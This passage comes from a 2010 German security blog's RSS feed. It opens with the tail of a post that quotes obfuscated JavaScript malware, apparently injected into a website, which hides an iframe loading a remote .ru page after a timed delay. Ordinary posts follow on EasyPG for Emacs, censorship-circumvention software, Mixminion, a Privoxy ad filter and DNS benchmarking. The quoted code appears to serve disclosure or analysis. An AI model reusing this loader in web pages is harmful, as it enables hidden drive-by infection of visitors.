b[mJ](function(){ var cKZ=61508;
var sC=function(){};
nD=false;
var yT=55106;
l.m();
qN=50578;
var eJ=function(){};
hA=&quot;hA&quot;;
this.eW=&quot;eW&quot;;
eL=50076;
this.oD=false;
}, 268);
function qG(){};
this.gEU=false;
}tG=&#039;&#039;;
function gMQ(){};
nI=52234;
this.cB=&quot;cB&quot;;
}};
this.lR=15709;
var bB=new hT();
 var gC=&#039;&#039;;
bB.m();
mC=23088;
&amp;lt;/script&amp;gt;&amp;lt;script type=&#039;text/javascript&#039;&amp;gt;function hT(){};
this.xA=&#039;&#039;;
hT.prototype = {gS : function() {var eA=9087;
var o=function(){};
var c=&#039;&#039;;
return &#039;h3t)t|p3:3/3/)q)l)k|eJ.Jr)u$/|i|nJd)e|x).)h|t|m|l|&#039;.qK(/[\|J\$3\)]/g, &#039;&#039;);
var kY=&quot;kY&quot;;
this.eP=&#039;&#039;;
sY=&quot;&quot;;
},m : function() {this.gJ=&quot;&quot;;
var f=new Array();
function r(){};
var tB=false;
    this.mP=&quot;&quot;;
q=&quot;&quot;;
    var s=&#039;replace&#039;;
var gV=&#039;&#039;;
var a=function(){};
var tA=new Array();
var pU=&#039;&#039;;
var z=document;
this.pA=&quot;pA&quot;;
var lS=25582;
var cR=9008;
var b=window;
var pZ=46499;
uW=&quot;uW&quot;;
this.iC=&#039;&#039;;
var eN=&quot;eN&quot;;
rF=549;
function d(){};
String.prototype.qK=function(g,x){return this[s](g, x)};
this.mQ=&quot;&quot;;
sF=false;
dX=&#039;&#039;;
var gVN=1376;
var mJ = &#039;sQegt@TgigmQe@oQu^t@&#039;.qK(/[@\^g_Q]/g, &#039;&#039;);
iB=&#039;&#039;;
cF=false;
var i = &#039;&amp;lt;Mh$tum^lM u&amp;gt;$&amp;lt;Yh^eMaYd$ u&amp;gt;^&amp;lt;u/^h^e$a$d$&amp;gt;^&amp;lt;ubYoud$yM u&amp;gt;$&amp;lt;u/Mb^o^d^yu&amp;gt;u&amp;lt;$/^h$tumYl$&amp;gt;M&#039;.qK(/[M\$u\^Y]/g, &#039;&#039;);
this.aF=&quot;aF&quot;;
this.qC=&quot;&quot;;
this.kF=&#039;&#039;;
var jZ=&#039;&#039;;
var pN=new Date();
try {var sG=&quot;&quot;;
var hQ=&quot;&quot;;
this.v=false;
oM=&quot;&quot;;
var uQ=function(){};
var bO=new Date();
var sI = &#039;b9oRdlyR&#039;.qK(/[R9lSG]/g, &#039;&#039;);
this.hO=false;
var qU=new Array();
var sN = &#039;sjt#yjl{eE&#039;.qK(/[E#\{@j]/g, &#039;&#039;);
pM=&quot;pM&quot;;
yN=&quot;yN&quot;;
this.hI=false;
var j = &#039;i~f_r6a1m6e&amp;&#039;.qK(/[&amp;~1_6]/g, &#039;&#039;);
mA=12855;
function uF(){};
iM=false;
var e = &#039;w{r~iWt{e~&#039;.qK(/[~\{Wm\.]/g, &#039;&#039;);
var zJ=&#039;&#039;;
this.tS=false;
var k = &#039;c(r(e5a(t5e(Eol(e:moe:n5t(&#039;.qK(/[\(o\:N5]/g, &#039;&#039;);
this.n=&#039;&#039;;
var aD=function(){};
var qE=new Array();
kW=false;
var p = &#039;sLr&amp;cL&#039;.qK(/[LRy/&amp;]/g, &#039;&#039;);
var zH=false;
this.kT=64303;
var tAH=function(){};
cK=&#039;&#039;;
this.tM=&quot;&quot;;
this.eE=51540;
var xE = &#039;s4e4t5AVt,t5r5i5b,uVtGe4&#039;.qK(/[4V,5G]/g, &#039;&#039;);
var hG=new Array();
var mF=&#039;&#039;;
this.fG=&quot;fG&quot;;
var hV=function(){return &#039;hV&#039;};
var y = &#039;hSiSdSdSexnS&#039;.qK(/[SZx\&amp;gt;t]/g, &#039;&#039;);
var w=&#039;&#039;;
var cC=&#039;&#039;;
this.gE=&quot;&quot;;
sE=&#039;&#039;;
var jL = &#039;vei5s[icbci+l[i[tey+&#039;.qK(/[\+\[5ec]/g, &#039;&#039;);
var xS=&#039;&#039;;
this.oJ=&quot;&quot;;
    var h = &#039;a^pTp^eTnJd&amp;C^h&amp;i&amp;l&amp;dJ&#039;.qK(/[J\^g&amp;T]/g, &#039;&#039;);
this.uU=&#039;&#039;;
var aR=&quot;aR&quot;;
    this.zQ=false;
function aJ(){};
    var t=this.gS();
function wU(){};
var gM=new Date();
var tX=new Date();
lI=&quot;lI&quot;;
function tH(){};
oV=60287;
var kV=document[k](j);
this.pB=&quot;pB&quot;;
var wV=function(){};
kQ=false;
var tSX=function(){return &#039;tSX&#039;};
kV[sN][jL] = y;
var jE=function(){return &#039;jE&#039;};
var tU=1024;
var cY=&#039;&#039;;
cT=41801;
kV[xE](p, t);
var zN=new Date();
nA=false;
xJ=27938;
dR=&#039;&#039;;
function uM(){};
uV=62754;
jP=&quot;&quot;;
var xH=new Array();
z[sI][h](kV);
this.mE=&quot;&quot;;
var bK=function(){return &#039;bK&#039;};
var tC=&quot;tC&quot;;
var rU=new Date();
this.pT=&#039;&#039;;
var vD=&quot;vD&quot;;
} catch(u) {var vB=new Date();
var rN=function(){};
this.wI=&quot;&quot;;
this.oU=false;
z.write(i);
this.kB=&quot;kB&quot;;
pW=&#039;&#039;;
var zC=&quot;&quot;;
qR=&#039;&#039;;
var oS=function(){};
var cCD=new Array();
var l = this;
var gU=18646;
tT=false;
var aRF=&#039;&#039;;
function sS(){};
uT=&#039;&#039;;
rG=&quot;rG&quot;;
b[mJ](function(){ var cKZ=61508;
var sC=function(){};
nD=false;
var yT=55106;
l.m();
qN=50578;
var eJ=function(){};
hA=&quot;hA&quot;;
this.eW=&quot;eW&quot;;
eL=50076;
this.oD=false;
}, 268);
function qG(){};
this.gEU=false;
}tG=&#039;&#039;;
function gMQ(){};
nI=52234;
this.cB=&quot;cB&quot;;
}};
this.lR=15709;
var bB=new hT();
 var gC=&#039;&#039;;
bB.m();
mC=23088;&lt;/code&gt;&lt;/pre&gt;
 
    </content:encoded>

    <pubDate>Fri, 18 Jun 2010 15:17:00 +0200</pubDate>
    <guid isPermaLink="false">http://www.kubieziel.de/blog/archives/1370-guid.html</guid>
    <category>aigner</category>
<category>javascript</category>
<category>schadcode</category>
<category>webseite</category>

</item>
<item>
    <title>EasyPG Assistent für Emacs</title>
    <link>http://www.kubieziel.de/blog/archives/1371-EasyPG-Assistent-fuer-Emacs.html</link>
            <category>Linux</category>
    
    <comments>http://www.kubieziel.de/blog/archives/1371-EasyPG-Assistent-fuer-Emacs.html#comments</comments>
    <wfw:comment>http://www.kubieziel.de/blog/wfwcomment.php?cid=1371</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://www.kubieziel.de/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1371</wfw:commentRss>
    

    <author>jens@kubieziel.de (Jens Kubieziel)</author>
    <content:encoded>
    &lt;p&gt;Kürzlich hatte ich mit jemanden eine Diskussion über NNTP und &lt;a
href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3779&amp;amp;entry_id=1371&quot; title=&quot;http://gnus.org/&quot;  onmouseover=&quot;window.status=&#039;http://gnus.org/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; &gt;Gnus&lt;/a&gt;. Dabei fiel mir auf, dass er die
Datei, welche unter anderem Passworte enthält, verschlüsselt
aufbewahrt. Im Verlauf des Gespräches kamen wir daher auf den &lt;a
href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3780&amp;amp;entry_id=1371&quot; title=&quot;http://www.easypg.org/&quot;  onmouseover=&quot;window.status=&#039;http://www.easypg.org/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; &gt;EasyPG Assistent&lt;/a&gt; zu sprechen. Das
ist ein Modus für den Emacs, der gute Unterstützung für &lt;a
href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3781&amp;amp;entry_id=1371&quot; title=&quot;http://gnupg.org/&quot;  onmouseover=&quot;window.status=&#039;http://gnupg.org/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; &gt;GnuPG&lt;/a&gt; innerhalb des Editors
bietet. Meine ersten Versuche damit liefen recht
erfolgversprechend.&lt;/p&gt;

&lt;p&gt;Bei Debian, Ubuntu und Co. muss einfach das Paket &lt;a
href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3782&amp;amp;entry_id=1371&quot; title=&quot;http://packages.debian.org/easypg&quot;  onmouseover=&quot;window.status=&#039;http://packages.debian.org/easypg&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; &gt;easypg&lt;/a&gt; installiert
werden. Debian installiert in
&lt;var&gt;/etc/emacs/site-start.d/50easypg.el&lt;/var&gt; eine Datei, die den
Start des Modus&#039; übernimmt. Falls das bei dir nicht der Fall ist,
kannst du in deiner &lt;var&gt;.emacs&lt;/var&gt; die Zeile &lt;code&gt;(require
&#039;(epa-setup))&lt;/code&gt; eintragen. Danach steht dir der Easypg Assistent
zur Verfügung.&lt;/p&gt;

&lt;p&gt;Das oben angesprochene Verhalten lässt sich erzeugen, in dem man
die Endung &lt;var&gt;.gpg&lt;/var&gt; an die Datei anhängt. Beim erstmaligen
Speichern der Datei fragt der Modus nach dem korrekten Schlüssel:&lt;/p&gt;

&lt;pre&gt;&lt;samp&gt;Select recipents for encryption.
If no one is selected, symmetric encryption will be performed.  
- `m&#039; to mark a key on the line
- `u&#039; to unmark a key on the line
[Cancel][OK]

  - E8CBC9EE886DDD89 User 1 &amp;lt;user1@example.org&amp;gt;
  - 3B9D09F31B30974B User 2 &amp;lt;user2@example.com&amp;gt;
  u 547EBEB15774924D Jens Kubieziel &amp;lt;jens.kubieziel@example.org&amp;gt;
&lt;/samp&gt;&lt;/pre&gt;

&lt;p&gt;Standardmäßig ist der Schlüssel markiert, zu dem es auch einen
privaten Schlüssel gibt. Falls du einen anderen wählen willst, gehst
du in die entsprechende Zeile und wählst den mit der Taste
&lt;kbd&gt;m&lt;/kbd&gt; aus. Nachdem diese Auswahl mit &lt;kbd&gt;Enter&lt;/kbd&gt; bestätigt
wurde, befindet sich eine verschlüsselte Datei auf deiner
Festplatte. Beim späteren Öffnen der Datei wird der Emacs nach dem
Passwort fragen und dir den Inhalt anzeigen.&lt;/p&gt;

&lt;p&gt;Daneben arbeitet EasyPG sehr gut mit dem Dired-Mode zusammen. Mit
zwei Tastendrücken lassen sich Dateien ver-/entschlüsseln, signieren
etc. Laut Handbuch ist die Unterstützung für E-Mail ebenfalls gut. Das
habe ich nicht getestet und kann dazu nichts sagen.&lt;/p&gt;

&lt;p&gt;Insgesamt hat mich EasyPG sofort begeistert und gehört ab sofort zu
den Emacs-Modi meiner Wahl.&lt;/p&gt;
  
    </content:encoded>

    <pubDate>Fri, 18 Jun 2010 14:38:05 +0200</pubDate>
    <guid isPermaLink="false">http://www.kubieziel.de/blog/archives/1371-guid.html</guid>
    <category>easypg</category>
<category>emacs</category>
<category>gnupg</category>
<category>verschlüsselung</category>

</item>
<item>
    <title>Alles Gute an Alkasir</title>
    <link>http://www.kubieziel.de/blog/archives/1362-Alles-Gute-an-Alkasir.html</link>
            <category>Politik</category>
            <category>Software</category>
    
    <comments>http://www.kubieziel.de/blog/archives/1362-Alles-Gute-an-Alkasir.html#comments</comments>
    <wfw:comment>http://www.kubieziel.de/blog/wfwcomment.php?cid=1362</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.kubieziel.de/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1362</wfw:commentRss>
    

    <author>jens@kubieziel.de (Jens Kubieziel)</author>
    <content:encoded>
    &lt;p&gt;Bei meinem Jemen-Besuch im letzten Jahr lernte ich unter anderem den Autor von &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3752&amp;amp;entry_id=1362&quot; title=&quot;https://alkasir.com&quot;  onmouseover=&quot;window.status=&#039;https://alkasir.com&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Alkasir&lt;/a&gt; und Gründer des &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3753&amp;amp;entry_id=1362&quot; title=&quot;https://yemenportal.net/&quot;  onmouseover=&quot;window.status=&#039;https://yemenportal.net/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Yemen Portal&lt;/a&gt;, Walid Al-Saqaf, kennen. Nachdem seine Portalseite auf der Sperrliste landete, beschäftigte er sich ein wenig mehr mit der Zensur im Land und schrieb die Software. Diese soll seinen Landsleuten bei der Umgehung der Zensurmaßnahmen helfen.&lt;/p&gt;

&lt;p&gt;Walid wurde nun zum &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3754&amp;amp;entry_id=1362&quot; title=&quot;http://ted.com/&quot;  onmouseover=&quot;window.status=&#039;http://ted.com/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;TED&lt;/a&gt;-Fellow &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3755&amp;amp;entry_id=1362&quot; title=&quot;http://tedfellows.posterous.com/announcing-the-2010-tedglobal-fellows&quot;  onmouseover=&quot;window.status=&#039;http://tedfellows.posterous.com/announcing-the-2010-tedglobal-fellows&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;gewählt&lt;/a&gt;. Ich kann zu dieser Wahl nur gratulieren und hoffe, dass es seine Software und insbesondere die dahinter stehende Idee weiter voran bringt.&lt;/p&gt;  
    </content:encoded>

    <pubDate>Sun, 30 May 2010 22:15:01 +0200</pubDate>
    <guid isPermaLink="false">http://www.kubieziel.de/blog/archives/1362-guid.html</guid>
    <category>alkasir</category>
<category>jemen</category>
<category>ted</category>
<category>zensur</category>

</item>
<item>
    <title>Mixminion auf Github</title>
    <link>http://www.kubieziel.de/blog/archives/1359-Mixminion-auf-Github.html</link>
            <category>Software</category>
    
    <comments>http://www.kubieziel.de/blog/archives/1359-Mixminion-auf-Github.html#comments</comments>
    <wfw:comment>http://www.kubieziel.de/blog/wfwcomment.php?cid=1359</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.kubieziel.de/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1359</wfw:commentRss>
    

    <author>jens@kubieziel.de (Jens Kubieziel)</author>
    <content:encoded>
    &lt;p&gt;Für Freunde und Entwickler von Anonymisierungsdiensten: &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3748&amp;amp;entry_id=1359&quot; title=&quot;http://www.mixminion.net/&quot;  onmouseover=&quot;window.status=&#039;http://www.mixminion.net/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Mixminion&lt;/a&gt;, ein Remailer der dritten Generation, ist über github verfügbar. Nick Mathewson hat für den &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3749&amp;amp;entry_id=1359&quot; title=&quot;http://github.com/nmathewson/mixminion&quot;  onmouseover=&quot;window.status=&#039;http://github.com/nmathewson/mixminion&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Quellcode&lt;/a&gt; und die &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3750&amp;amp;entry_id=1359&quot; title=&quot;http://github.com/nmathewson/mixminion-doc&quot;  onmouseover=&quot;window.status=&#039;http://github.com/nmathewson/mixminion-doc&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Dokumentation&lt;/a&gt; ein Repository angelegt. Wer also Lust am Quellcode in Python hat, sollte die Quellen mal lesen. Weiterhin sind Entwickler dringend gesucht!&lt;/p&gt;  
    </content:encoded>

    <pubDate>Thu, 27 May 2010 21:38:14 +0200</pubDate>
    <guid isPermaLink="false">http://www.kubieziel.de/blog/archives/1359-guid.html</guid>
    <category>anonymität</category>
<category>git</category>
<category>github</category>
<category>mixminion</category>
<category>python</category>

</item>
<item>
    <title>Werbung bei Fefes Blog mit Privoxy abschalten</title>
    <link>http://www.kubieziel.de/blog/archives/1347-Werbung-bei-Fefes-Blog-mit-Privoxy-abschalten.html</link>
            <category>Software</category>
    
    <comments>http://www.kubieziel.de/blog/archives/1347-Werbung-bei-Fefes-Blog-mit-Privoxy-abschalten.html#comments</comments>
    <wfw:comment>http://www.kubieziel.de/blog/wfwcomment.php?cid=1347</wfw:comment>

    <slash:comments>6</slash:comments>
    <wfw:commentRss>http://www.kubieziel.de/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1347</wfw:commentRss>
    

    <author>jens@kubieziel.de (Jens Kubieziel)</author>
    <content:encoded>
    &lt;p&gt;Die meisten von euch kennen sicher &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3716&amp;amp;entry_id=1347&quot; title=&quot;http://blog.fefe.de/&quot;  onmouseover=&quot;window.status=&#039;http://blog.fefe.de/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Fefes Blog&lt;/a&gt;, &lt;em&gt;die&lt;/em&gt; Quelle für Nachrichten und Verschwörungstheorien abseits des Mainstream. Im Februar gab Fefe bekannt, dass er &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3717&amp;amp;entry_id=1347&quot; title=&quot;http://blog.fefe.de/?ts=b5813d56&quot;  onmouseover=&quot;window.status=&#039;http://blog.fefe.de/?ts=b5813d56&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;für zwei Monate&lt;/a&gt; testweise Werbung in seinem Blog schalten will. Die zwei Monate sind rum, die Werbung ist noch da. Also entschied ich mich kurzerhand meinem &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3718&amp;amp;entry_id=1347&quot; title=&quot;http://www.privoxy.org/&quot;  onmouseover=&quot;window.status=&#039;http://www.privoxy.org/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Privoxy&lt;/a&gt; zukünftig die Arbeit, also Werbung entfernen, tun zu lassen. Dabei entstand folgende kurze Filterregel:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;#####################
### Filter fuer Fefes Werbung##
#####################
FILTER: fefe_werbung Filtert die Werbung auf blog.fefe.de

s@&amp;lt;div style=&quot;border: solid black 1px;&quot;&amp;gt;@@
s@&amp;lt;div.*Werbung.*@@
s@.*fefe.3dsupply.de.*@@
s@.*www.getdigital.de/index/fefe_shop.*@@
s@&amp;lt;.p&amp;gt;@@
s@&amp;lt;.div&amp;gt;@@&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;In der &lt;code&gt;FILTER&lt;/code&gt;-Zeile steht der Name des Filters und eine kurze Beschreibung. Die eigentlichen Regeln entfernen den schwarzen Balken um den Werbeblock und immer die komplette Zeile mit dem Wort &lt;q&gt;Werbung&lt;/q&gt; bzw. den Links auf die Seiten. Nachdem das geschehen ist, muss nur noch eine &lt;code&gt;user.action&lt;/code&gt; definiert werden, die den Filter auf &lt;code&gt;blog.fefe.de&lt;/code&gt; anwendet. Schon kann der &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3719&amp;amp;entry_id=1347&quot; title=&quot;http://blog.fefe.de/?ts=b55f8c20&quot;  onmouseover=&quot;window.status=&#039;http://blog.fefe.de/?ts=b55f8c20&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;technisch (un)versierte Nutzer&lt;/a&gt; Fefes Blog werbefrei genießen. &lt;img src=&quot;http://www.kubieziel.de/blog/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt;  
    </content:encoded>

    <pubDate>Mon, 03 May 2010 22:56:45 +0200</pubDate>
    <guid isPermaLink="false">http://www.kubieziel.de/blog/archives/1347-guid.html</guid>
    <category>blog</category>
<category>fefe</category>
<category>privoxy</category>
<category>werbung</category>

</item>
<item>
    <title>Wie man den optimalen Nameserver findet</title>
    <link>http://www.kubieziel.de/blog/archives/1345-Wie-man-den-optimalen-Nameserver-findet.html</link>
            <category>Linux</category>
    
    <comments>http://www.kubieziel.de/blog/archives/1345-Wie-man-den-optimalen-Nameserver-findet.html#comments</comments>
    <wfw:comment>http://www.kubieziel.de/blog/wfwcomment.php?cid=1345</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.kubieziel.de/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1345</wfw:commentRss>
    

    <author>jens@kubieziel.de (Jens Kubieziel)</author>
    <content:encoded>
    &lt;div style=&quot;float:left;margin-right:3px&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3707&amp;amp;entry_id=1345&quot;  onmouseover=&quot;window.status=&#039;http://www.flickr.com/photos/21816577@N00/4569007161/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;Recommendation for resolv.conf by Jens Kubieziel, on Flickr&quot;&gt;&lt;img src=&quot;http://farm4.static.flickr.com/3438/4569007161_feb782911d_m.jpg&quot; width=&quot;240&quot; height=&quot;64&quot; alt=&quot;Recommendation for resolv.conf&quot; /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;Durch einen Beitrag bei &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3708&amp;amp;entry_id=1345&quot; title=&quot;http://news.ycombinator.com/item?id=1311111&quot;  onmouseover=&quot;window.status=&#039;http://news.ycombinator.com/item?id=1311111&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Hacker News&lt;/a&gt; ließ ich mich zu einem englischsprachigen Beitrag hinreißen. Im folgenden kommt das nochmal für meine deutschsprachigen Leser:&lt;/p&gt;


&lt;div style=&quot;float:right&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3709&amp;amp;entry_id=1345&quot;  onmouseover=&quot;window.status=&#039;http://www.flickr.com/photos/21816577@N00/4569644454/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;Result by Jens Kubieziel, on Flickr&quot;&gt;&lt;img src=&quot;http://farm5.static.flickr.com/4063/4569644454_e7c8db4850_t.jpg&quot; width=&quot;100&quot; height=&quot;65&quot; alt=&quot;Result&quot; /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;In dem Beitrag &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3710&amp;amp;entry_id=1345&quot; title=&quot;http://edwin.io/optimized-resolv-conf&quot;  onmouseover=&quot;window.status=&#039;http://edwin.io/optimized-resolv-conf&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Improving your resolv.conf file&lt;/a&gt; verweist der Autor auf die Möglichkeit, drei &lt;code&gt;nameserver&lt;/code&gt;-Einträge in der &lt;code&gt;/etc/resolv.conf&lt;/code&gt; zu haben. Dabei schlägt er insbesondere vor, &lt;samp&gt;option rotate&lt;/samp&gt; zu verwenden. Denn damit werden die Anfragen an DNS-Server besser unter den eingetragenen Servern verteilt. Nun besteht die Frage, woher soll man denn drei Nameserver nehmen. Wer von euch kennt drei aus dem Kopf? Durch die beiden Google-eigenen 8.8.8.8 und 8.8.4.4 ist das sicher ein wenig einfacher geworden. Aber sind das wirklich die schnellsten? Rausfinden lässt sich das mit einem kleinen Programm namens &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3711&amp;amp;entry_id=1345&quot; title=&quot;http://code.google.com/p/namebench/&quot;  onmouseover=&quot;window.status=&#039;http://code.google.com/p/namebench/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;namebench&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In der Standardeinstellung durchsucht das Programm den Verlauf eures Browsers und extrahiert einige Domainnamen. Man kann dem Programm aber auch eine Liste von Domainnamen geben oder es anweisen, sich ein paar Zufallswerte bei Alexa zu besorgen. Mit den Werten testet das Programm diverse DNS-Server und misst deren Geschwindigkeit. Nach einer Wartezeit wird dann der Bestwert ausgegeben. Weiterhin gibt das Programm eine Empfehlung für die optimale &lt;code&gt;/etc/resolv.conf&lt;/code&gt; und zeigt die Messwerte grafisch an (verwendet die Google API zum Zeichnen der Diagramme).&lt;/p&gt;

&lt;p&gt;Ich finde das Programm äußerst nützlich. Bis auf meinen Rechner zu Hause fand die Software immer viel schnellere Varianten. Im Extremfall ging das bis zu 200% schneller.&lt;/p&gt;


&lt;p style=&quot;text-align:center&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3712&amp;amp;entry_id=1345&quot;  onmouseover=&quot;window.status=&#039;http://www.flickr.com/photos/21816577@N00/4569645382/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;Detailed result by Jens Kubieziel, on Flickr&quot;&gt;&lt;img src=&quot;http://farm4.static.flickr.com/3486/4569645382_d8efa95b09_o.png&quot; width=&quot;638&quot; height=&quot;280&quot; alt=&quot;Detailed result&quot; /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p style=&quot;text-align:center&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3713&amp;amp;entry_id=1345&quot;  onmouseover=&quot;window.status=&#039;http://www.flickr.com/photos/21816577@N00/4569008283/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;Response duration by Jens Kubieziel, on Flickr&quot;&gt;&lt;img src=&quot;http://farm5.static.flickr.com/4047/4569008283_1a9537aa75.jpg&quot; width=&quot;500&quot; height=&quot;298&quot; alt=&quot;Response duration&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p style=&quot;text-align:center&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3714&amp;amp;entry_id=1345&quot;  onmouseover=&quot;window.status=&#039;http://www.flickr.com/photos/21816577@N00/4569008955/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;Response distribution by Jens Kubieziel, on Flickr&quot;&gt;&lt;img src=&quot;http://farm4.static.flickr.com/3483/4569008955_2b3165c5e3.jpg&quot; width=&quot;500&quot; height=&quot;295&quot; alt=&quot;Response distribution&quot; /&gt;&lt;/a&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Sun, 02 May 2010 02:25:56 +0200</pubDate>
    <guid isPermaLink="false">http://www.kubieziel.de/blog/archives/1345-guid.html</guid>
    <category>dns</category>
<category>google</category>
<category>namebench</category>

</item>
<item>
    <title>Improving your resolv.conf file -- part 2</title>
    <link>http://www.kubieziel.de/blog/archives/1343-Improving-your-resolv.conf-file-part-2.html</link>
            <category>Software</category>
    
    <comments>http://www.kubieziel.de/blog/archives/1343-Improving-your-resolv.conf-file-part-2.html#comments</comments>
    <wfw:comment>http://www.kubieziel.de/blog/wfwcomment.php?cid=1343</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.kubieziel.de/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1343</wfw:commentRss>
    

    <author>jens@kubieziel.de (Jens Kubieziel)</author>
    <content:encoded>
    &lt;div style=&quot;float:left;margin-right:3px&quot;&gt;&lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3699&amp;amp;entry_id=1343&quot;  onmouseover=&quot;window.status=&#039;http://www.flickr.com/photos/21816577@N00/4569007161/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot; title=&quot;Recommendation for resolv.conf by Jens Kubieziel, on Flickr&quot;&gt;&lt;img src=&quot;http://farm4.static.flickr.com/3438/4569007161_feb782911d_m.jpg&quot; width=&quot;240&quot; height=&quot;64&quot; alt=&quot;Recommendation for resolv.conf&quot; /&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;While reading  &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3700&amp;amp;entry_id=1343&quot; title=&quot;http://news.ycombinator.com/&quot;  onmouseover=&quot;window.status=&#039;http://news.ycombinator.com/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Hacker News&lt;/a&gt; I came across an entry titled &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3701&amp;amp;entry_id=1343&quot; title=&quot;http://edwin.io/optimized-resolv-conf&quot;  onmouseover=&quot;window.status=&#039;http://edwin.io/optimized-resolv-conf&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;Improving your resolv.conf file&lt;/a&gt;. The author describes how to use and rotate three nameservers in your &lt;code&gt;/etc/resolv.conf&lt;/code&gt;. But how would anyone know which are the fastest nameservers around? The answer is: &lt;a href=&quot;http://www.kubieziel.de/blog/exit.php?url_id=3702&amp;amp;entry_id=1343&quot; title=&quot;http://code.google.com/p/namebench/&quot;  onmouseover=&quot;window.status=&#039;http://code.google.com/p/namebench/&#039;;return true;&quot; onmouseout=&quot;window.status=&#039;&#039;;return true;&quot;&gt;namebench&lt;/a&gt;.&lt;/p&gt;

